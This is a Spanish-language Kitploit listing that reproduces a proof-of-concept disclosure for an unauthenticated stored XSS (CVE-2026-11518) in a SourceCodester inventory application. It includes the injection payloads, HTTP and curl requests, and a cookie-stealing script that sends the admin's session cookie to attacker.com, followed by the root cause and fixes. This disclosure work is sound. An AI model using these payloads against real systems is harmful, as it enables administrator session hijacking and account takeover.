Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-11518-XSS — Prueba de concepto para XSS almacenado no autenticado en SourceCodester Inventory System, demostrando secuestro de sesión de administrador mediante payloads de registro manipulados. | Kitploit
Herramientas/GitHubGitHub/xmyronn/cve-2026-11518-xss
Análisis de VulnerabilidadesExplotación de Aplicaciones WebSeguridad WebCTFPruebas de PenetraciónAprendizaje y Educación
GitHubxmyronn/cve-2026-11518-xss

CVE-2026-11518-XSS

Prueba de concepto para XSS almacenado no autenticado en SourceCodester Inventory System, demostrando secuestro de sesión de administrador mediante payloads de registro manipulados.

Ver Repositorio
13hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

XSS Almacenado en Sistema de Inventario usando PHP y MySQL

Detalles de la Vulnerabilidad

CampoDetalle
Tipo de VulnerabilidadCross-Site Scripting (XSS) Almacenado
Aplicación AfectadaSistema de Inventario usando PHP y MySQL
ProveedorSourceCodester
Versión Afectada1.0
Archivo Afectadoregister.php
Parámetrosfullname, username
Autenticación RequeridaNo (No autenticado)
ImpactoSecuestro de sesión de administrador, ejecución de scripts maliciosos en el panel de administración
Puntuación CVSS8.8 (Alto)
Vector CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

Descripción

El Sistema de Inventario usando PHP y MySQL de SourceCodester (enviado el 23 de mayo de 2026) es vulnerable a Cross-Site Scripting (XSS) Almacenado No Autenticado en el módulo de Registro de Personal (register.php).

Los campos de entrada fullname y username no sanitizan ni codifican la entrada proporcionada por el usuario antes de almacenarla en la base de datos. Cuando un administrador visita la página de Gestión de Usuarios (users.php), las cargas útiles sin sanitizar se renderizan directamente en el contexto HTML, lo que provoca la ejecución inmediata de JavaScript en la sesión del navegador del administrador.

Debido a que el registro no requiere autenticación, un atacante remoto no autenticado puede inyectar JavaScript arbitrario que se ejecutará en el contexto de cualquier administrador que vea el panel de Gestión de Usuarios.


Escenario de Ataque

  1. El atacante visita /product_inventory/register.php — no se requiere inicio de sesión.
  2. El atacante envía una carga útil maliciosa en los campos fullname y/o username.
  3. La carga útil se almacena en la base de datos sin sanitización.
  4. Cuando el administrador inicia sesión y navega a /product_inventory/users.php, la carga útil se ejecuta automáticamente en el navegador del administrador.
  5. El atacante puede robar la cookie de sesión del administrador, redirigir al administrador a una página de phishing o realizar cualquier acción en nombre del administrador.

Prueba de Concepto

Paso 1 — Navegar a la Página de Registro (Sin Autenticación Requerida)

root@kitploit:~
http://<TARGET>/product_inventory/register.php

Paso 2 — Enviar el Siguiente Formulario de Registro

Carga útil del campo Nombre Completo:

root@kitploit:~
<script>alert(1)</script>

Carga útil del campo Nombre de Usuario:

root@kitploit:~
<script>alert(2)</script>

Contraseña: cualquier valor (por ejemplo, test1234)

Paso 3 — Petición HTTP (Burp Suite / curl)

root@kitploit:~
POST /product_inventory/register.php HTTP/1.1
Host: <TARGET>
Content-Type: application/x-www-form-urlencoded

fullname=<script>alert(1)</script>&username=<script>alert(2)</script>&password=test1234&submit=

Equivalente en curl:

root@kitploit:~
curl -X POST "http://<TARGET>/product_inventory/register.php" \
  -d "fullname=<script>alert(1)</script>&username=<script>alert(2)</script>&password=test1234&submit="

Paso 4 — Activar como Administrador

Inicie sesión como administrador y navegue a:

root@kitploit:~
http://<TARGET>/product_inventory/users.php

Ambas cargas útiles se ejecutan inmediatamente al cargar la página.


Impacto

Un atacante no autenticado puede:

  • Robar cookies de sesión del administrador — escalando hasta la toma de control total de la cuenta de administrador
  • Redirigir al administrador a páginas de phishing
  • Realizar acciones de nivel administrador silenciosamente mediante JavaScript (crear/eliminar usuarios, manipular el inventario)
  • Implementar un keylogger persistente en el panel de administración
  • Desfigurar la interfaz de administración

Ejemplo de carga útil para robo de cookie de sesión (reemplácelo con el servidor del atacante):

root@kitploit:~
<script>document.location='http://attacker.com/steal?c='+document.cookie</script>

Capturas de Pantalla

Paso 1 — Inyectando Cargas Útiles en el Formulario de Registro

Screenshot 2026-05-24 051430

Paso 2 — El XSS se Ejecuta en users.php del Administrador

Screenshot 2026-05-24 051452

Código Afectado (Causa Raíz)

La vulnerabilidad existe porque register.php inserta la entrada del usuario directamente en la base de datos sin sanitización, y users.php muestra los valores almacenados sin codificación con htmlspecialchars().

Patrón vulnerable en users.php (aproximado):

root@kitploit:~
// Unsafe — outputs raw database value directly into HTML
echo $row['fullname'];
echo $row['username'];

Corrección — aplicar codificación de salida:

root@kitploit:~
echo htmlspecialchars($row['fullname'], ENT_QUOTES, 'UTF-8');
echo htmlspecialchars($row['username'], ENT_QUOTES, 'UTF-8');

Además, la entrada debe sanitizarse al insertarse en register.php usando strip_tags() o sentencias preparadas con validación adecuada.


Remediación

  1. Codifique toda la salida usando htmlspecialchars() con ENT_QUOTES antes de renderizar datos proporcionados por el usuario en HTML.
  2. Valide y sanitice todos los campos de entrada en el lado del servidor en el punto de entrada.
  3. Implemente una cabecera de Política de Seguridad del Contenido (CSP) para mitigar el impacto del XSS.

Referencias

  • SourceCodester — Sistema de Inventario usando PHP y MySQL

Reportado por Syed Imad Uddin Alvi — Investigador de Seguridad Independiente

Descargar herramienta